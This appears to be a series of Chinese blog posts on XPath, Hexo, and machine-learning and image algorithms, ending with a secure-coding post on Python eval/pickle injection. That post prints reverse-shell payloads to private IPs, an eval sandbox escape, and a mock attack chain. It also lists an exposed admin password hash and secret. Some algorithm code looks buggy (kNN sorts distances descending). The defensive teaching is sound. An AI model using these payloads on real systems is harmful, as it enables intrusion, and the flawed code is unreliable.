1. Firefox + Firepath、Chrome + XPath Helper
  2. 常用xpath例子
  3. Python 使用XPath匹配页面数据
  4. 参考

Firefox + Firepath、Chrome + XPath Helper

如下图 Firefox下,XPath需要通过Firebug + Firepath来方便的获取。
firefox xpath

Chrome下,通过XPath Helper插件实现,开启和关闭快捷键Ctrl + Shift + X,按住Shift键获取。
chrome xpath heloer

以上两种方式还是Firefox下使用比较方便,更多用法自行发掘。

常用xpath例子

根据字符串匹配节点,通过contains()text()匹配
.//*[@id='detail_all']/div[1]/ul/li[contains(text(), '字 数:')]/text()

节点属性不包含**字符串,通过not()contains()匹配
.//*[@id='con_ListStyleTab4A_1']/p[not(contains(@class, 'title'))]/a[@class='Author']/text()

截取字符串匹配
substring-before(//div[@class='content']/ul/li[6],',')
substring(.//h2/../p/span[contains(text(), '字数:')]/text(), '4')

索引匹配末尾节点,通过last()匹配
.//div[last()]/div[@class='show_info_right max_width']/text()

通过..向上级查找匹配
.//h1/../div[@class='booksub']/span/span/text()

获取过个节点下的内容,通过//node()/text()可以获取当前节点及其子节点的内容。
.//*[@id='job_detail']/dd[@class='job-advantage']//node()/text()

有的时候页面中一系列数据下面并不一定包含某些字段,这时我们通过contains()来匹配包含某些关键字的节点来寻找对应的另一个节点。
.//div[@class='infobox']//node()[contains(text(), '户型')]/../node()/text()

这里总结一点使用技巧,更多的关于XPath的方法可以看参考中的链接,足以解决大部分问题。

Python 使用XPath匹配页面数据

对于爬虫抓取中XPath是一种比较高效的获取数据的方式,在各个爬虫框架中也很多的使用到,具体的用法大致相同,细微之处可自行摸索。以下是最简单的一种方式。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#! /usr/bin/python
# -*- coding:utf-8 -*-
"""
@author: abc
@file: xpath_demo.py
@date: 2017-02-04
"""
__author__ = "abc"

import lxml.html

import requests


if __name__ == "__main__":
url = "http://noogel.xyz"
res = requests.get(url)
doc = lxml.html.document_fromstring(res.content)
title_xpath = ".//header[@id='header']//a[@class='brand']/span[@class='site-title']"
print doc.xpath(title_xpath)[0].text

XPath是我在做爬虫任务时接触的,这只是整个环节中的一小部分,关于爬虫的一些抓取技巧(动态页面抓取、数据清洗、任务调度等)请关注博客后续更新的文章。


参考

http://www.cnblogs.com/barney/archive/2009/04/17/1438062.html
http://www.w3school.com.cn/xpath/xpath_functions.asp

基本操作

Hexo:简单、快速、强大的Node.js静态博客框架

NPM:NodeJS包管理工具

淘宝NPM镜像

https://npm.taobao.org/

直接使用:npm install -g cnpm --registry=https://registry.npm.taobao.org

alias使用:

1
2
3
4
5
6
7
8
9
10
alias cnpm="npm --registry=https://registry.npm.taobao.org \
--cache=$HOME/.npm/.cache/cnpm \
--disturl=https://npm.taobao.org/dist \
--userconfig=$HOME/.cnpmrc"

# Or alias it in .bashrc or .zshrc
$ echo '\n#alias for cnpm\nalias cnpm="npm --registry=https://registry.npm.taobao.org \
--cache=$HOME/.npm/.cache/cnpm \
--disturl=https://npm.taobao.org/dist \
--userconfig=$HOME/.cnpmrc"' >> ~/.zshrc && source ~/.zshrc

Hexo安装,-g全局安装

1
npm install hexo -g

博客创建

1
hexo init noogel

扩展插件安装

1
2
3
4
5
6
7
8
sudo npm install hexo-server --save --registry=https://registry.npm.taobao.org
sudo npm install hexo-admin --save --registry=https://registry.npm.taobao.org
sudo npm install hexo-generator-archive --save --registry=https://registry.npm.taobao.org
sudo npm install hexo-generator-feed --save --registry=https://registry.npm.taobao.org
sudo npm install hexo-generator-search --save --registry=https://registry.npm.taobao.org
sudo npm install hexo-generator-tag --save --registry=https://registry.npm.taobao.org
sudo npm install hexo-deployer-git --save --registry=https://registry.npm.taobao.org
sudo npm install hexo-generator-sitemap --save --registry=https://registry.npm.taobao.org

之后新的机器部署环境可以直接 sudo npm install --registry=https://registry.npm.taobao.org
会自动读取 package.json 文件进行安装

服务启动,两种命令

1
2
hexo serve
hexo s -g

一键发布到git

  1. 修改_config.yml配置
    1
    2
    3
    4
    5
    6
    7
    8
    ## Docs: https://hexo.io/docs/deployment.html
    deploy:
    # 类型
    type: git
    # 仓库
    repo: git@github.com:noogel/noogel.github.io.git
    # 分支
    branch: master
  2. 发布命令
    1
    hexo d -g
  3. 清除发布结果
    1
    hexo clean

组合命令:alias hexod="hexo d -g && hexo clean"

添加tags

执行hexo new page "tags",然后编辑source/tags/index.md

配置修改

博客配置修改_config.yml,主题配置修改themes/<themes>/_config.yml

hexo自动提交命令

这里设置了一个自动提交的命令,源码自动提交到 sources 分支

alias hexodp="hexo d -g && git add --all && git commit -am 'auto commit' && git push origin sources"

hexo-admin 管理文章

安装

1
npm install --save hexo-admin --registry=https://registry.npm.taobao.org

打开 http://localhost:4000/admin/

然后可以在里面配置登录账号密码,并添加到 _config.yml 文件中

1
2
3
4
5
# hexo-admin authentification
admin:
username: noogel
password_hash: $2a$10$CMR/GX.e6TuoGGOYOF7ks.R.WmSUC8RvelPPXIH5wV3S6hPLYPnx6
secret: a33x8sd83ndfus82jrfi8sj28djk438ds

预览界面如下:
hexo-admin

hexo常见问题解决办法

https://hexo.io/docs/troubleshooting.html
http://shenzekun.cn/hexo%E7%9A%84next%E4%B8%BB%E9%A2%98%E4%B8%AA%E6%80%A7%E5%8C%96%E9%85%8D%E7%BD%AE%E6%95%99%E7%A8%8B.html
https://donlex.cn/archives/55e73569.html

简单解释:采用测量不同特征值之间距离的方法进行分类的算法。
主要优点是精度高,缺点是计算和空间负责度高,适用于数值型和标称型。
已下是通过Python实现的k-近邻算法,大致思路是计算样本数据data_set中的点与待分类点的距离,按距离递增排序,然后取出前K个点,计算这些点所属标签的数量,计数最高的标签为分类结果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#! /data/server/python/bin/python
# -*- coding:utf-8 -*-
"""
k-近邻算法
"""
import math
import operator
from collections import Counter


def knn(position, data_set, labels, k):
"""
k-近邻算法
:param position: 待分类点
:param data_set: 数据样本
:param labels: 标签集合
:param k: 取值
:return: 所属标签
"""
distance_list = []
for index, item in enumerate(data_set):
distance_list.append((
labels[index],
math.sqrt(reduce(operator.add, [(v - position[i]) ** 2 for i, v in enumerate(item)]))
))
distance_list = sorted(distance_list, key=lambda x: x, reverse=True)
result = Counter([val[0] for val in distance_list[:k]])
result_labels = sorted(result.items(), lambda x, y: cmp(x[1], y[1]), reverse=True)
return result_labels[0][0]


if __name__ == "__main__":
point = [0.2, 0.3]
data_set = [[1, 1.1], [1, 1], [0, 0], [0, 0.1]]
labels = ['A', 'A', 'B', 'B']
k = 3
print knn(point, data_set, labels, k)

k-d tree算法

http://www.cnblogs.com/eyeszjwang/articles/2429382.html


k近邻法 给定一个训练数据集,对新输入的实例,在训练的数据集中找到与该实例最近邻的k个实例,这k个实例的多数属于某个类,就把该输入实例分为这个类。

kd树 是一种对k维空间中的实例点进行存储以便对其进行快速检索的树形数据结构。

算法:(构造平衡kd树)

输入:k维空间数据集
$$ T={x_1,x_2,…,x_N} $$,
$$ x_i=(x_i^{(1)},x_i^{(2)},…,x_i^{(k)})^T, i=1,2,…,N; $$

输出:kd树。

生成:

从深度为0的结点开始。重复对深度为j的结点,选择x(l)为切分的坐标轴,l=j(mode k) + 1,以该结点的区域中所有实例的x(l)坐标的中位数为切分点,将该结点对应的超矩形区域切分为两个子区域。切分由通过切分点并与坐标轴x(l)垂直的超平面实现。由该结点生成深度为j+1的左、右子结点:左子节点对应坐标x(l)小于切分点的子区域,右子节点对应坐标x(l)大于切分点的子区域。

实例:

对以下给定二维数据集构造一个平衡kd树
$$ T= {(2,3)^T, (5,4)^T, (9,6)^T, (4,7)^T, (8,1)^T, (7,2)^T } $$

计算余弦值公式
$$cos\theta = \frac{x_1y_1+x_2y_2+…+x_ny_n}{\sqrt{x_1^2+x_2^2+…+x_n^2}\sqrt{y_1^2+y_2^2+…+y_n^2}}$$

样本和待分类图像

样本和待分类图像

执行结果

执行结果

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102

#! /usr/bin/python
# -*- coding:utf-8 -*-
"""
@author: abc
@file: euclidean_distance.py
@date: 2016-12-09
@desc: 余弦相似度
"""
__author__ = "abc"

import cv2
import numpy as np

w_fg = 20
h_fg = 15
pic_flag = 3


def read_pic(fn):
"""
read_pic
:param fn:
:return:
"""
fnimg = cv2.imread(fn)
img = cv2.resize(fnimg, (800, 600), interpolation=cv2.INTER_AREA)
w = img.shape[1]
h = img.shape[0]
w_interval = w / w_fg
h_interval = h / h_fg

alltz = []
alltz.append([])
alltz.append([])
alltz.append([])

for now_h in xrange(0, h, h_interval):
for now_w in xrange(0, w, w_interval):
b = img[now_h:now_h + h_interval, now_w:now_w + w_interval, 0]
g = img[now_h:now_h + h_interval, now_w:now_w + w_interval, 1]
r = img[now_h:now_h + h_interval, now_w:now_w + w_interval, 2]
btz = np.mean(b)
gtz = np.mean(g)
rtz = np.mean(r)

alltz[0].append(btz)
alltz[1].append(gtz)
alltz[2].append(rtz)

return alltz


def get_cossimi(x, y):
"""
get_cossimi
:param x:
:param y:
:return:
"""
myx = np.array(x)
myy = np.array(y)
cos1 = np.sum(myx * myy)
cos21 = np.sqrt(sum(myx * myx))
cos22 = np.sqrt(sum(myy * myy))
return cos1 / float(cos21 * cos22)


if __name__ == "__main__":
# 提取特征
train_x = []
d = []

for ii in xrange(1, pic_flag + 1):
smp_x = []
b_tz = np.array([0, 0, 0])
g_tz = np.array([0, 0, 0])
r_tz = np.array([0, 0, 0])
mytz = np.zeros((3, w_fg * h_fg))
for jj in xrange(1, 3):
fn = '/home/abc/Projects/machine_learning/img/base/p' + str(ii) + '-' + str(jj) + '.jpg'
print fn
tmptz = read_pic(fn)
mytz += np.array(tmptz)
mytz /= 3
train_x.append(mytz[0].tolist() + mytz[1].tolist() + mytz[2].tolist())

for index in xrange(1, 5):
fn = '/home/abc/Projects/machine_learning/img/base/test{}.jpg'.format(index)
testtz = np.array(read_pic(fn))
simtz = testtz[0].tolist() + testtz[1].tolist() + testtz[2].tolist()
maxtz = 0
nowi = 0

for i in xrange(pic_flag):
nowsim = get_cossimi(train_x[i], simtz)
if nowsim > maxtz:
maxtz = nowsim
nowi = i

print '%s属于第%d类' % (fn, nowi + 1)

http://www.cnblogs.com/chaosimple/archive/2013/06/28/3160839.html

算法描述:将当前像素与邻接的下边和右边像素进行比较,如果相似设置为白色,否则设置为黑色。

欧氏距离算法,如果两个像素的欧氏距离小于某个常数的阀值则认定为相似。

两个n维向量a(x11, x12, ..., x1n)b(x21, x22, ..., x2n)间的欧氏距离如下公式:

$$d=\sqrt{\sum_{k=1}^n(x_{1k}-x_{2k})^2}$$

Python代码实现

1
2
3
4
5
6
7
8
9
10
11
12

def get_euclidean_distance(x, y):
"""
计算欧氏距离
:param x:
:param y:
:return:
"""
myx = np.array(x)
myy = np.array(y)
return np.sqrt(np.sum((myx - myy) * (myx - myy)))

阀值设置为16

原始图片
原始图片

描边图片
描边图片

完整代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#! /usr/bin/python
# -*- coding:utf-8 -*-
"""
@author: abc
@file: euclidean_distance.py
@date: 2016-12-09
@desc: 欧氏距离
"""
__author__ = "abc"

import cv2
import numpy as np


def get_euclidean_distance(x, y):
"""
计算欧氏距离
:param x:
:param y:
:return:
"""
myx = np.array(x)
myy = np.array(y)
return np.sqrt(np.sum((myx - myy) * (myx - myy)))


def handle_img(imgpath):
"""
handle_img
:param imgpath:
:return:
"""
myimg1 = cv2.imread(imgpath)

cv2.namedWindow('img1')
cv2.imshow('img1', myimg1)
cv2.waitKey()
cv2.destroyAllWindows()

w = myimg1.shape[1]
h = myimg1.shape[0]

sz1 = w
sz0 = h

flag = 16

myimg2 = np.zeros((sz0, sz1, 3), np.uint8)
black = np.array([0, 0, 0])
white = np.array([255, 255, 255])
centercolor = np.array([125, 125, 125])
for y in xrange(sz0 - 1):
for x in xrange(sz1 - 1):
myhere = myimg1[y, x, :]
mydown = myimg1[y + 1, x, :]
myright = myimg1[y, x + 1, :]

lmyhere = myhere
lmyright = myright
lmydown = mydown

if get_euclidean_distance(lmyhere, lmydown) > flag and get_euclidean_distance(lmyhere, lmyright) > flag:
myimg2[y, x, :] = black
elif get_euclidean_distance(lmyhere, lmydown) <= flag and get_euclidean_distance(lmyhere, lmyright) <= flag:
myimg2[y, x, :] = white
else:
myimg2[y, x, :] = centercolor

cv2.namedWindow('img2')
cv2.imshow('img2', myimg2)
cv2.waitKey()
cv2.destroyAllWindows()


if __name__ == "__main__":
imgpath = "/home/abc/Projects/machine_learning/img/test4.png"
handle_img(imgpath)

http://blog.sina.com.cn/s/blog_52510b1d01015nrg.html

图像匹配算法基于像素比较求和实现。

差分矩阵求和

通过计算两个图像矩阵数据之间的差异分析图像的相似性,然后设置阀值进行比较,公式如下:

1
差分矩阵 = 图像A矩阵数据 - 图像B矩阵数据

Python实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

def show_pic_location(img, findimg):
"""
show_pic_location
:param img:
:param findimg:
:return:
"""
w = img.shape[1]
h = img.shape[0]
fw = findimg.shape[1]
fh = findimg.shape[0]
findpt = None
for now_h in xrange(h - fh):
for now_w in xrange(w - fw):
comp_tz = img[now_h:now_h + fh, now_w: now_w + fw, :] - findimg
if np.sum(comp_tz) < 1:
findpt = now_w, now_h
if findpt is not None:
cv2.rectangle(img, findpt, (findpt[0] + fw, findpt[1] + fh), (255, 0, 0))
return img

差分矩阵均值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

def show_pic_location(img, findimg):
"""
show_pic_location
:param img:
:param findimg:
:return:
"""
w = img.shape[1]
h = img.shape[0]
fw = findimg.shape[1]
fh = findimg.shape[0]
findpt = None
for now_h in xrange(h - fh):
for now_w in xrange(w - fw):
comp_tz = img[now_h:now_h + fh, now_w: now_w + fw, :] - findimg
if abs(np.mean(comp_tz)) < 20:
findpt = now_w, now_h
if findpt is not None:
cv2.rectangle(img, findpt, (findpt[0] + fw, findpt[1] + fh), (255, 0, 0))
return img

欧氏距离匹配

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

def show_pic_location(img, findimg):
"""
show_pic_location
:param img:
:param findimg:
:return:
"""
w = img.shape[1]
h = img.shape[0]
fw = findimg.shape[1]
fh = findimg.shape[0]

minds = 1e8
mincb_h = 0
mincb_w = 0

for now_h in xrange(h - fh):
for now_w in xrange(w - fw):
my_img = img[now_h:now_h + fh, now_w: now_w + fw, :]
my_findimg = findimg
myx = np.array(my_img)
myy = np.array(my_findimg)
dis = np.sqrt(np.sum((myx - myy) * (myx - myy)))
if dis < minds:
mincb_h = now_h
mincb_w = now_w
minds = dis
print mincb_h, mincb_w, minds

findpt = mincb_w, mincb_h
cv2.rectangle(img, findpt, (findpt[0] + fw, findpt[1] + fh), (0, 0, 255))
return img

添加噪音

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

def add_noise(img):
"""
add_noise
:param img:
:return:
"""
count = 50000
for k in xrange(count):
xi = int(np.random.uniform(0, img.shape[1]))
xj = int(np.random.uniform(0, img.shape[0]))
img[xj, xi, 0] = 255 * np.random.rand()
img[xj, xi, 1] = 255 * np.random.rand()
img[xj, xi, 2] = 255 * np.random.rand()

原始图像
原始图像

待匹配图像

待匹配图像

加噪点匹配图像

加入噪点匹配图像

旋转加噪点匹配图像

旋转加噪点匹配图像

完整代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103

#! /usr/bin/python
# -*- coding:utf-8 -*-
"""
@author: abc
@file: euclidean_distance.py
@date: 2016-12-09
@desc: 欧式距离匹配
"""
__author__ = "abc"

import cv2
import numpy as np


def show_pic_location(img, findimg):
"""
show_pic_location
:param img:
:param findimg:
:return:
"""
w = img.shape[1]
h = img.shape[0]
fw = findimg.shape[1]
fh = findimg.shape[0]

minds = 1e8
mincb_h = 0
mincb_w = 0

for now_h in xrange(h - fh):
for now_w in xrange(w - fw):
my_img = img[now_h:now_h + fh, now_w: now_w + fw, :]
my_findimg = findimg
dis = get_euclidean_distance(my_img, my_findimg)
if dis < minds:
mincb_h = now_h
mincb_w = now_w
minds = dis
print mincb_h, mincb_w, minds

findpt = mincb_w, mincb_h
cv2.rectangle(img, findpt, (findpt[0] + fw, findpt[1] + fh), (0, 0, 255))
return img


def get_euclidean_distance(x, y):
"""
计算欧氏距离
:param x:
:param y:
:return:
"""
myx = np.array(x)
myy = np.array(y)
return np.sqrt(np.sum((myx - myy) * (myx - myy)))


def add_noise(img):
"""
add_noise
:param img:
:return:
"""
count = 50000
for k in xrange(count):
xi = int(np.random.uniform(0, img.shape[1]))
xj = int(np.random.uniform(0, img.shape[0]))
img[xj, xi, 0] = 255 * np.random.rand()
img[xj, xi, 1] = 255 * np.random.rand()
img[xj, xi, 2] = 255 * np.random.rand()


def handle_img(imgpath, imgpath1, imgpath2):
"""
handle_img
:param imgpath:
:param imgpath1:
:param imgpath2:
:return:
"""
myimg = cv2.imread(imgpath)
myimg1 = cv2.imread(imgpath1)
myimg2 = cv2.imread(imgpath2)

add_noise(myimg)

myimg = show_pic_location(myimg, myimg1)
myimg = show_pic_location(myimg, myimg2)

cv2.namedWindow('img')
cv2.imshow('img', myimg)
cv2.waitKey()
cv2.destroyAllWindows()


if __name__ == "__main__":
imgpath = "/home/abc/Projects/machine_learning/img/test_r45.png"
imgpath1 = "/home/abc/Projects/machine_learning/img/test_1.png"
imgpath2 = "/home/abc/Projects/machine_learning/img/test_2.png"
handle_img(imgpath, imgpath1, imgpath2)

简单解释: 为信息的期望值,计算公式如下。

$$ info(D) = -\sum_{i=1}^m p_i log_2(p_i) $$

信息增益 是指在划分数据集之前之后信息发生的变化。对信息按属性A划分后取得的熵。
$$ info_A(D) = \sum_{j=1}^v \frac{|D_j|}{|D|}info(D_j) $$

计算两者之间的变化就是信息增益。
$$ gain(A) = info(D) - info_A(D) $$

如下算法计算最大信息增益。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
#! /data/sever/python/bin/python
# -*- coding:utf-8 -*-
"""
决策树算法
"""
from __future__ import division
import math
import operator
from collections import Counter

__author__ = 'xyz'


def calc_shannon_ent(data_set):
"""
计算香农熵
:param data_set:
:return:
"""
data_length = len(data_set)
label_counts = Counter([val[-1] for val in data_set])
pilog2pi = [val / data_length * math.log(val / data_length, 2) for val in label_counts.itervalues()]
return - reduce(
operator.add,
pilog2pi
) if pilog2pi else 0


def split_data_set(data_set, axis, value):
"""
分割数据集,筛选指定特征下的数据值的集合
:param data_set: 数据集合
:param axis: 第几列
:param value: 筛选的值
:return: 除去axis列的,并且axis列的值为value的的数据集合
"""
return [[v for i, v in enumerate(val) if i != axis] for val in data_set if val[axis] == value]


def choose_best_feature_to_split(data_set):
"""
选择最好的数据集划分方式
:param data_set: 数据集
:return: 划分方式最好是第几项
"""
base_ent = calc_shannon_ent(data_set)
# 定义最好的信息增益,信息增益最好的那项
best_info_gain, best_feature = 0.0, -1
for i in range(len(data_set[0]) - 1):
unique_value = set(data_set[i])
child_ent = 0.0
for val in unique_value:
child_data_set = split_data_set(data_set, i, val)
child_ent += (len(data_set) - 1) / len(data_set) * calc_shannon_ent(child_data_set)
# 信息增益
info_gain = base_ent - child_ent
if info_gain > best_info_gain:
best_info_gain = info_gain
best_feature = i
return best_feature


def majority_ent(class_list):
"""
取出出现次数最多的标签
:param class_list:
:return:
"""
class_count = Counter(class_list)
sorted_class_count = sorted(class_count.items(), key=lambda x, y: cmp(x[1], y[1]), reverse=True)
return sorted_class_count[0][0]


def create_tree(data_set, labels):
"""
创建树
:param data_set: 数据集
:param labels: 标签集合
:return: 决策树
"""
class_list = [val[-1] for val in data_set]
if class_list.count(class_list[0]) == len(class_list):
return class_list[0]
if len(data_set[0]) == 1:
return majority_ent(class_list)
best_feat = choose_best_feature_to_split(data_set)
best_feat_label = labels[best_feat]
my_tree = {best_feat_label: {}}
del labels[best_feat]
feat_values = [val[best_feat] for val in data_set]
unique_vals = set(feat_values)
for value in unique_vals:
sub_labels = labels[:]
my_tree[best_feat_label][value] = create_tree(split_data_set(data_set, best_feat, value), sub_labels)
return my_tree

if __name__ == "__main__":
data_set = [[1, 1, 'yes'], [1, 1, 'yes'], [1, 0, 'no'], [0, 1, 'no'], [0, 1, 'no']]
# 计算熵
print calc_shannon_ent(data_set)
# 分割数据集
print split_data_set(data_set, 0, 1)
# 获取最大信息增益项
print choose_best_feature_to_split(data_set)
# 生成决策树
print create_tree(data_set, ['no surfacing', 'flippers'])

ID3算法

ID3算法就是在每次需要分裂时,计算每个属性的增益率,然后选择增益率最大的属性进行分裂。

C4.5算法

定义分裂信息

$$ splitInfo_A(D) = - \sum_{j=1}^v \frac{|D_j|}{|D|} log_2(\frac{|D_j|}{|D|}) $$

定义增益率

$$ gain\_ratio(A) = \frac{gain(A)}{split\_info(A)} $$

C4.5选择具有最大增益率的属性作为分裂属性。
http://www.cnblogs.com/leoo2sk/archive/2010/09/19/decision-tree.html
决策树到底是干嘛用的,怎么去灵活运用决策树?

什么是代码注入

代码注入攻击指的是任何允许攻击者在网络应用程序中注入源代码,从而得到解读和执行的方法。

###Python中常见代码注入
能够执行一行任意字符串形式代码的eval()函数

1
>>> eval("__import__('os').system('uname -a')")

能够执行字符串形式代码块的exec()函数

1
>>> exec("__import__('os').system('uname -a')")

反序列化一个pickled对象时

1
>>> pickle.loads("cposix\nsystem\np0\n(S'uname -a'\np1\ntp2\nRp3\n.")

执行一个Python文件

1
>>> execfile("testf.py")

pickle.loads()代码注入
某不安全的用法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def load_session(self, session_id=None):
if not session_id:
session_id = self.gen_session_id()
session = Session(session_id, self)
else:
try:
data = self.backend.get(session_id)
if data:
data = pickle.loads(data)
assert type(data) == dict
else:
data = {}
except:
data = {}
session = Session(session_id, self, data)
return session

注入的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
>>> import os
>>> import pickle
>>> class exp(object):
... def __reduce__(self):
... s = "/bin/bash -c \"/bin/bash -i > \/dev/tcp/192.168.42.62/12345 0<&1 2>&1 &\""
... return (os.system, (s,))
...
>>> e = exp()
>>> e
<__main__.exp object at 0x7f734afa8790>
>>> k = pickle.dumps(e)
'cposix\nsystem\np0\n(S\'/bin/bash -c "/bin/bash -i > \\\\/dev/tcp/192.168.42.62/12345 0<&1 2>&1 &"\'\np1\ntp2\nRp3\n.'

>>> pickle.loads(k)
0
>>>
[3]+ Stopped python

这些函数使用不当都很危险

os.system
os.popen*
os.spawn*
os.exec*
os.open
os.popen*
commands.*
subprocess.popen
popen2.*

一次模拟的实践

通过这次实践发现系统中的诸多安全薄弱的环节,执行流程如下:

  1. nmap扫描IP nmap -v -A *.*.*.* -p 1-65535,通过nmap扫描后会发现公开的服务。
  2. 暴力破解登录名密码 test 123,弱口令登陆系统。这个地方的薄弱点在于开发过程中容易留下便于程序员测试后门或若口令。
  3. 成功登陆系统后寻找代码注入点,通过成功找到注入点后可执行代码注入通过反向shell连接服务器提权eval("__import__('os').system('/bin/bash -c \"/bin/bash -i > /dev/tcp/10.10.10.130/12345 0<&1 2>&1 &\"')")

todo 第三步在整个系统中发现了两个可进行代码注入的漏洞,第一个为pickl反序列化用户登录信息的时候没有做校验,这样当对应的存储介质(memcache、redis)没有开启登录认证并且暴漏在公网中很容易注入代码。第二个为在系统中一些配置直接使用eval函数执行配置中的Python代码进行注入。
todo 反向shell介绍

如何安全编码

  1. 严格控制输入,过滤所有危险模块,遇到非法字符直接返回。
  2. 使用ast.literal_eval()代替eval()
  3. 安全使用pickle

下面就着几个点来说一下:

eval()方法注释:

1
2
eval(source[, globals[, locals]]) -> value
Evaluate the source in the context of globals and locals. The source may be a string representing a Python expression or a code object as returned by compile(). The globals must be a dictionary and locals can be any mapping, defaulting to the current globals and locals. If only globals is given, locals defaults to it.

ast.literal_eval()方法注释:

1
Safely evaluate an expression node or a string containing a Python expression.  The string or node provided may only consist of the following Python literal structures: strings, numbers, tuples, lists, dicts, booleans, and None.

使用ast.literal_eval()代替eval()对比:

1
2
3
4
5
6
7
ast.literal_eval("1+1")  # ValueError: malformed string
ast.literal_eval("[1, 2, 3]") # [1, 2, 3]
ast.literal_eval("{1: 1, 2: 2, 3: 3}") # {1: 1, 2: 2, 3: 3}
ast.literal_eval("__import__('os').system('uname -a')") # ValueError: malformed string
eval("__import__('os').system('uname -a')") # Linux zhangxu-ThinkPad-T450 3.13.0-92-generic #139-Ubuntu SMP Tue Jun 28 20:42:26 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
eval("__import__('os').system('uname -a')", {}, {}) # Linux zhangxu-ThinkPad-T450 3.13.0-92-generic #139-Ubuntu SMP Tue Jun 28 20:42:26 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
eval("__import__('os').system('uname -a')", {"__builtins__": {}}, {}) # NameError: name '__import__' is not defined

eval禁用全局或本地变量:

1
2
3
>>> global_a = "Hello Eval!"
>>> eval("global_a")
>>> eval("global_a", {}, {})

寻找eval的突破点

eval("[c for c in ().__class__.__bases__[0].__subclasses__()]", {'__builtins__':{}})

参考点:

1
2
3
4
5
6
7
8
9
(
lambda fc=(
lambda n: [c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == n][0]
):
fc("function")(
fc("code")(
0, 0, 0, 0, "KABOOM", (), (), (), "", "", 0, ""),
{})()
)()

安全使用pickle

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
>>> import hmac
>>> import hashlib
>>> import pickle
>>> shared_key = '123456'
>>> class Exp(object):
... def __reduce__(self):
... s = "__import__('os').system('uname -a')"
... return (os.system, (s,))
...
>>> e = Exp()
>>> s = pickle.dumps(e)
>>> s
'cposix\nsystem\np0\n(S"__import__(\'os\').system(\'uname -a\')"\np1\ntp2\nRp3\n.'
>>> k = hmac.new(shared_key, s, hashlib.sha1).hexdigest()
>>> k
'20bc7b14ee6d2f8109c0fc0561df3db40203622d'
>>> send_s = k + ' ' + s
>>> send_s
'20bc7b14ee6d2f8109c0fc0561df3db40203622d cposix\nsystem\np0\n(S"__import__(\'os\').system(\'uname -a\')"\np1\ntp2\nRp3\n.'
>>> recv_k, recv_s = send_s.split(' ', 1)
>>> recv_k, recv_s
('20bc7b14ee6d2f8109c0fc0561df3db40203622d', 'cposix\nsystem\np0\n(S"__import__(\'os\').system(\'uname -a\')"\np1\ntp2\nRp3\n.')
>>> new_k = hmac.new(shared_key, recv_s, hashlib.sha1).hexdigest()
>>> new_k
'20bc7b14ee6d2f8109c0fc0561df3db40203622d'
>>> diff_k = hmac.new(shared_key + "123456", recv_s, hashlib.sha1).hexdigest()
>>> diff_k
'381542893003a30d045c5c729713d2aa428128de'
>>>

如何提高安全编码意识?

参考资料

http://www.programcreek.com/python/example/5578/ast.literal_eval
https://segmentfault.com/a/1190000002783940
http://www.yunweipai.com/archives/6540.html
http://blog.csdn.net/chence19871/article/details/32718219
http://coolshell.cn/articles/8711.html
http://stackoverflow.com/questions/15197673/using-pythons-eval-vs-ast-literal-eval
https://www.cigital.com/blog/python-pickling/
https://github.com/greysign/pysec/blob/master/safeeval.py

附录

nmap扫描部分结果

What is nmap?
Nmap (Network Mapper) is a security scanner originally written by Gordon Lyon used to discover hosts and services on a computer network, thus creating a “map” of the network.

-A: Enable OS detection, version detection, script scanning, and traceroute
-v: Increase verbosity level (use -vv or more for greater effect)
-p : Only scan specified ports

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
root@bt:~# nmap -v -A *.*.*.* -p 1-65535 
Starting Nmap 6.25 ( http://nmap.org ) at 2016-07-26 13:30 EDT
......
Not shown: 65527 filtered ports
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn
1723/tcp open pptp Microsoft
8891/tcp open http nginx 1.4.4
9090/tcp closed zeus-admin
13228/tcp open http Microsoft IIS httpd 7.5
14580/tcp closed unknown
36666/tcp open unknown
64380/tcp open unknown
......
Device type: general purpose|storage-misc
Running (JUST GUESSING): Linux 2.4.X (99%), Microsoft Windows 7 (95%), BlueArc embedded (91%)
